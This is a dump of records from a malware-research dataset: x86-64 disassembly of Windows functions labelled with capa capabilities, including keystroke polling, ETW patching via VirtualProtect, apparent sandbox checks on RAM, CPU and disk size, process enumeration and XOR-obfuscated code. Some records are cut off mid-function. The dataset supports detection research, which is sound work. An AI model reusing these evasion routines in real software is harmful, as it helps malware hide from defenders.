joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400774b0
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov rdi, rdx
mov rbx, rcx
mov r13d, 2
mov word [rdx], r13w
lea rdx, [rax - 0x38]
mov rcx, r8
mov esi, r9d
mov r12, r8
call fcn.14006aa10
mov rcx, qword [rax]
call qword [sym.imp.WSOCK32.dll_inet_addr]
lea rcx, [rsp + 0x20]
mov ebp, eax
call fcn.1400012f0
cmp ebp, 0xffffffff
jne 0x14007751d
lea rdx, str.255.255.255.255
mov rcx, r12
call fcn.140058450
test al, al
je 0x14007751d
lea edx, [r13 - 1]
jmp 0x14007753e
lea eax, [rsi - 1]
mov dword [rdi + 4], ebp
cmp eax, 0xfffe
ja 0x14007753b
movzx ecx, si
call qword [sym.imp.WSOCK32.dll_htons]
mov word [rdi + 2], ax
mov al, 1
jmp 0x140077552
mov edx, r13d
mov rax, qword [rbx]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.14000e000
xor al, al
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r13
pop r12
pop rdi
ret

Function at 0x14007aa80
Capabilities:
Print debug messages
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
mov r12b, byte [0x1400b3967]
mov rbp, rdx
mov rdi, rcx
call fcn.140016b60
mov edx, 0x8000
mov ecx, eax
call fcn.140016a64
mov rcx, rbp
mov esi, eax
call fcn.14004da70
test al, al
je 0x14007aaf0
mov rcx, rbp
call fcn.14004cb60
mov rcx, rbp
movsxd rbx, eax
call fcn.14007a5c0
mov r9, rdi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.140016d14
mov rbx, rax
jmp 0x14007ab46
lea rcx, [rsp + 0x20]
call fcn.14000fc10
mov rcx, rbp
call fcn.14000fb10
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.140071b10
mov r8, qword [rsp + 0x20]
lea rdx, [0x14009c4d4]
mov rcx, rdi
call fcn.140016da4
movsxd rbx, eax
test r12b, r12b
je 0x14007ab3c
mov rcx, rbp
call fcn.14005ffe0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x20]
call fcn.1400012f0
mov rcx, rdi
call fcn.140017088
mov rcx, rdi
call fcn.140016b60
mov edx, 0x4000
mov ecx, eax
cmp esi, 0xffffffff
je 0x14007ab64
mov edx, esi
call fcn.140016a64
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop r12
ret
Function at 0x14007b140
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r15, rcx
xor ecx, ecx
mov r12, r9
lea ebx, [rcx + 1]
mov r13, r8
mov edi, ecx
mov ebp, ecx
cmp qword [r15 + 8], rcx
jne 0x14007b178
xor al, al
jmp 0x14007b327
mov rax, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xa0]
mov byte [r9], cl
mov byte [r8], cl
mov dword [rdx], ecx
mov rsi, rax
mov byte [rax], cl
mov byte [r14], cl
movsxd rdx, edi
mov rcx, r15
call fcn.14003e510
cmp word [rax], 0x2b
je 0x14007b1c1
cmp word [rax], 0x5e
je 0x14007b1bb
cmp word [rax], 0x21
je 0x14007b1bb
cmp word [rax], 0x23
jne 0x14007b1ea
cmp word [rax], 0x2b
jne 0x14007b1c7
mov byte [r13], bl
jmp 0x14007b1e6
cmp word [rax], 0x5e
jne 0x14007b1d3
mov byte [r12], bl
jmp 0x14007b1e6
cmp word [rax], 0x21
jne 0x14007b1de
mov byte [r14], bl
jmp 0x14007b1e6
cmp word [rax], 0x23
jne 0x14007b1e6
mov byte [rsi], bl
add edi, ebx
jmp 0x14007b198
movsxd rdx, edi
add edi, ebx
mov rcx, r15
mov dword [rsp + 0x80], edi
call fcn.14003e510
mov rsi, qword [rsp + 0x88]
movzx ecx, word [rax]
cmp cx, 0x7b
jne 0x14007b2ee
lea rcx, [rsp + 0x20]
mov edx, 0x40
call fcn.14000f9e0
lea r9, [rsp + 0x80]
lea r8, [rsp + 0x20]
mov ecx, 0x7d
mov rdx, r15
call fcn.140072030
test al, al
je 0x14007b2d4
lea rdi, [0x1400aec30]
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rdi]
call fcn.140015250
test eax, eax
je 0x14007b26e
lea rax, reloc.WSOCK32.dll_accept
add rdi, 8
add ebp, ebx
cmp rdi, rax
jl 0x14007b24b
cmp ebp, 0x62
jne 0x14007b2c0
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140002350
movzx ecx, word [rax]
call qword [sym.imp.USER32.dll_VkKeyScanW]
movsx ecx, ax
mov dword [rsi], ecx
cmp ecx, 0xffffffff
jne 0x14007b2a1
lea rcx, [rsp + 0x20]
call fcn.1400024f0
jmp 0x14007b171
bt ecx, 9
jae 0x14007b2ab
mov byte [r12], bl
bt ecx, 0xa
jae 0x14007b2b4
mov byte [r14], bl
bt ecx, 8
jae 0x14007b2e2
mov byte [r13], bl
jmp 0x14007b2e2
lea rcx, [0x140000000]
movsxd rax, ebp
cmp byte [rax + rcx + 0xaef40], 0
je 0x14007b2d8
xor bl, bl
jmp 0x14007b2e2
movzx eax, byte [rax + rcx + 0xaefb0]
mov dword [rsi], eax
lea rcx, [rsp + 0x20]
call fcn.1400024f0
jmp 0x14007b31f
call qword [sym.imp.USER32.dll_VkKeyScanW]
movsx ecx, ax
mov dword [rsi], ecx
cmp ecx, 0xffffffff
je 0x14007b171
bt ecx, 9
jae 0x14007b30c
mov byte [r12], bl
bt ecx, 0xa
jae 0x14007b315
mov byte [r14], bl
bt ecx, 8
jae 0x14007b31f
mov byte [r13], bl
and dword [rsi], 0xff
mov al, bl
mov rbx, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140060e30
Capabilities:
Encode data using base64

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov r14, rcx
cmp rdx, 1
je 0x140060fa7
mov rdi, rdx
lea rax, [rdx - 1]
test rdx, rax
je 0x140060e5d
mov rcx, rdi
call fcn.14003e54a
mov rdi, rax
mov rbx, qword [r14 + 8]
cmp rdi, rbx
jbe 0x140060fc9
mov edi, 2
jmp 0x140060e5d
jae 0x1400610f1
mov rax, qword [r14 + 0x18]
test rax, rax
js 0x140060ff0
cvtsi2ss xmm0, rax
jmp 0x140061005
mov rcx, rax
shr rcx, 1
and eax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [r14 + 0x20]
call fcn.1400a4cec
cvttss2si rcx, xmm0
movss xmm1, dword [0x140114c00]
movaps xmm2, xmm0
subss xmm2, xmm1
cvttss2si rax, xmm2
btc rax, 0x3f
ucomiss xmm0, xmm1
cmovb rax, rcx
cmp rbx, 3
jb 0x1400610b8
mov rcx, rbx
shr rcx, 1
movabs rdx, 0x5555555555555555
and rdx, rcx
mov rsi, rbx
sub rsi, rdx
movabs rdx, 0x3333333333333333
mov rcx, rsi
shr rcx, 2
and rsi, rdx
and rcx, rdx
add rcx, rsi
mov rdx, rcx
shr rdx, 4
Function at 0x1400ee8cf
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x1a0
mov ebx, edx
mov rsi, rcx
mov rax, qword [0x140131038]
xor rax, rsp
mov qword [rsp + 0x198], rax
cmp byte [rcx + 0x17], 0
jns 0x1400ee8f9
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400ee93a
mov edi, eax
test bl, bl
jne 0x1400ee9f3
mov eax, edi
and eax, 0x400
je 0x1400ee9f3
xor edi, edi
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.140079ea0
mov eax, edi
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
ret
mov ecx, 2
call fcn.140062530
test al, al
je 0x1400ee91b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
lea rdx, str..._.._third_party_crashpad_crashpad_util_file_filesystem_win.cc
lea rcx, [rsp + 0x58]
mov r8d, 0x81
mov eax, 0x81
mov r9d, 2
call fcn.1400e24c0
lea rcx, [rsp + 0x68]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.14006c36d
mov rdi, rax
movzx eax, byte [rsi + 0x17]
test al, al
mov rcx, qword [rsi]
cmovns rcx, rsi
lea rdx, [rsp + 0x30]
mov qword [rdx], rcx
cmovs rax, qword [rsi + 8]
mov qword [rdx + 8], rax
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.140054e90
movzx r8d, byte [rsi + 0x17]
test r8b, r8b
jns 0x1400ee9c8
mov r8, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rcx, rdi
mov rdx, rsi
call fcn.14006c36d
cmp byte [rsp + 0x57], 0
jns 0x1400ee9e4
mov rcx, qword [rsp + 0x40]
call fcn.140076eb8
lea rcx, [rsp + 0x58]
call fcn.1400c3280
jmp 0x1400ee91b
and edi, 0x10
shr edi, 4
jmp 0x1400ee91d
Function at 0x1400111ea
Capabilities:
Terminate process

Disassembly:
jmp 0x140015100
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c50
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c63
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c8d
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012ca1
xor al, al
jmp 0x140012cd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012cb3
xor al, al
jmp 0x140012cd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012ccf
xor al, al
jmp 0x140012cd1
mov al, 1
add rsp, 0x38
ret

Function at 0x140011a30
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001137f
movzx eax, al
test eax, eax
jne 0x140011a50
mov ecx, 7
call fcn.1400112fd
nop
mov byte [rsp + 0x20], 0
call fcn.140011311
mov byte [rsp + 0x21], al
cmp dword [0x14001c220], 1
jne 0x140011a74
mov ecx, 7
call fcn.1400112fd
nop
jmp 0x140011acc
cmp dword [0x14001c220], 0
jne 0x140011ac7
mov dword [0x14001c220], 1
lea rdx, [0x140019660]
lea rcx, [0x140019330]
call fcn.140011195
test eax, eax
je 0x140011aa8
mov eax, 0xff
jmp 0x140011bd1
lea rdx, [0x140019220]
lea rcx, [section..rdata]
call fcn.140011307
mov dword [0x14001c220], 2
jmp 0x140011acc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400112ee
call fcn.14001128a
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140011b29
mov rcx, qword [rsp + 0x30]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x140011b29
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140022020]
nop
call fcn.1400112bc
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140011b5d
mov rcx, qword [rsp + 0x38]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x140011b5d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001133e
nop
call fcn.140011c80
mov dword [rsp + 0x28], eax
call fcn.140011267
movzx eax, al
test eax, eax
jne 0x140011b7c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140011b8b
call fcn.140011348
nop
xor edx, edx
mov cl, 1
call fcn.140011145
mov eax, dword [rsp + 0x28]
jmp 0x140011bd1
add rsp, 0x68
ret
Function at 0x1809667c1
Capabilities:
Encode data using xor

Disassembly:
movabs rcx, 0x1cff14ac6f673ea2
cmp ecx, ebx
mov qword [rsp + 0x28], 0x5139c644
sets bl
bswap rcx
bswap ecx
xor ebx, 0x32634cad
neg bl
push r13
mov rbx, qword [rsp + 0x28]
lea rcx, [rcx + rcx + 0x300d5436]
movabs r13, 0x21fa604612b90109
not cx
mov rcx, qword [rsp + 0x18]
mov word [rcx], cs
push rsp
push rsp
or eax, 0x9bd4930
add dword [rcx - 0x59fb9ee], edi
and dword [rsi - 9], esp
ror dword [rax - 0x75], 1
and al, 0x18
setle r13b
bswap r13
or r13d, 0x571b796b
add qword [rsp + 0x20], 0x7fafea1d
mov r13, qword [rsp]
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x30]
call fcn.180a31edd
push rdi
push rbx
xor bl, byte [rdi + 0x33]
xor ch, byte [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rcx - 0x79], cl
push rdi
lodsb al, byte [rsi]
jp 0x1809668b3
stc
scasd eax, dword [rdi]
mov bl, 0xc8
xchg edx, eax
cli
jnp 0x1809667ef
or al, 0x92
or ch, cl
test eax, 0x673c6d1e
std
xchg ebp, eax
xchg edx, eax
pop rdx
rep stosd dword [rdi], eax
mov al, 0x92
mov spl, 0xf
push 0x6d
je 0x1809668d8
jl 0x1809667f2
xchg edx, eax
insd dword [rdi], dx
invalid
sbb al, 0x28
cwde
pop rsp
jmp 0x1809668ed
cmp byte [rdx], ch
stosd dword [rdi], eax
mov dl, 5
fild word [rsi]
xor al, 0x6f
invalid
test edx, esi
and al, 0xa8
enter 0xffffffffffffe24c, 9
sbb al, 0xa3
pushfq
add dword [rbx - 0x73c0dab6], ecx
xchg edi, eax
xor byte [rax + 0x2f50ce40], ah
and al, 3
lahf
mov cl, 0x2c
imul ebp, dword [rsi + rsi*2], 0x74
out dx, al
push rbp
xchg ebx, eax
invalid
Function at 0x140007660
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov dword [rbp - 0x14], 0
lea rax, [0x140242210]
mov qword [rbp - 0x60], rax
lea rax, str.EtwEventWriteFull
mov qword [rbp - 0x58], rax
lea rax, str.EtwEventWriteTransfer
mov qword [rbp - 0x50], rax
lea rax, str.EtwRegister
mov qword [rbp - 0x48], rax
lea rax, str.EtwRegisterTraceGuidsW
mov qword [rbp - 0x40], rax
lea rax, str.EtwRegisterTraceGuidsA
mov qword [rbp - 0x38], rax
lea rax, str.EtwSendMessage
mov qword [rbp - 0x30], rax
lea rax, str.EtwEventWriteNoRegistration
mov qword [rbp - 0x28], rax
mov dword [rbp - 4], 0
jmp 0x1400077b3
mov eax, dword [rbp - 4]
cdqe
mov rbx, qword [rbp + rax*8 - 0x60]
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x1400077ae
lea rdx, [rbp - 0x14]
mov rax, qword [rbp - 0x10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140007744
mov eax, 0
jmp 0x1400077c4
mov dword [rbp - 0x64], 0xc3c03348
mov edx, dword [rbp - 0x64]
mov rax, qword [rbp - 0x10]
mov dword [rax], edx
mov edx, dword [rbp - 0x14]
lea rcx, [rbp - 0x14]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140007781
mov eax, 0
jmp 0x1400077c4
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call rax
test eax, eax
jne 0x1400077af
mov eax, 0
jmp 0x1400077c4
nop
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 7
jbe 0x1400076dc
mov eax, 1
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x1400077d0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x50]
mov dword [rbp + 0x7c], eax
cmp dword [rbp + 0x7c], 1
ja 0x140007806
mov eax, 1
jmp 0x14000793f
mov dword [rbp - 0x10], 0x40
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 8]
shr rax, 0x14
mov dword [rbp + 0x78], eax
cmp dword [rbp + 0x78], 0x7ff
ja 0x14000783b
mov eax, 1
jmp 0x14000793f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0xffffffffffffffff
jne 0x14000788a
mov eax, 1
jmp 0x14000793f
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x38], 0
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
test eax, eax
jne 0x1400078e9
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x14000793f
mov rax, qword [rbp - 0x30]
mov edx, dword [rbp - 0x24]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp - 0x20]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp - 0x1c]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x6c], eax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x6c], 0x63
ja 0x14000793a
mov eax, 1
jmp 0x14000793f
mov eax, 0
add rsp, 0x100
pop rbp
ret

Function at 0x140007948
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x140007989
mov eax, 0
jmp 0x140007a25
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1400079c1
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140007a25
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400079f6
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140007a25
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400079c1
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x140007d00
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140017ce0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140017ce0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140007d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1402460c4]
mov r12, rcx
test ebx, ebx
jle 0x140007ea0
mov rax, qword [0x1402460c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140007dbc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140007e43
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140007da0
mov rcx, r12
call fcn.140008710
mov rsi, rax
test rax, rax
je 0x140007ec2
mov rax, qword [0x1402460c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140008840
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1402460c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140007ea7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140007e3c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140007e50
add dword [0x1402460c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1402460c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140007e3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140007d00
nop dword [rax]
xor ebx, ebx
jmp 0x140007dc7
mov rax, qword [0x1402460c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140007d00
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140007d00
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140008380
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140246120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140246100]
test rbx, rbx
je 0x1400083d4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400083cb
test r12, r12
je 0x1400083cb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400083b0
lea rcx, [0x140246120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140008710
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140242c00]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140008730
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140008738
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140008730
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140008785
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000877c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140008730
add rax, 0x28
cmp rax, r9
jne 0x140008768
xor eax, eax
ret

Function at 0x140008790
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140242c00]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400087b0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400087b8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400087b0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140008840
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140242c00]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140008860
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140008868
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000a030
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140242c80]
mov rax, qword [rsi]
test rax, rax
je 0x14000a0c0
cmp qword [rax + 0x30], 0
jne 0x14000a0e0
lea rbx, [0x140241aa8]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x14000a090
cmp qword [rax + 0x30], 0
jne 0x14000a0b0
lea rdx, [0x140241aa8]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x140017e70
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14000ef30
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x14000a072
test rax, rax
jne 0x14000a0b0
call fcn.14000ef30
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x14000a080
call fcn.14000ef30
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x14000a050
test rax, rax
jne 0x14000a0e0
call fcn.14000ef30
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x14000a05b
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x14000a0f0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
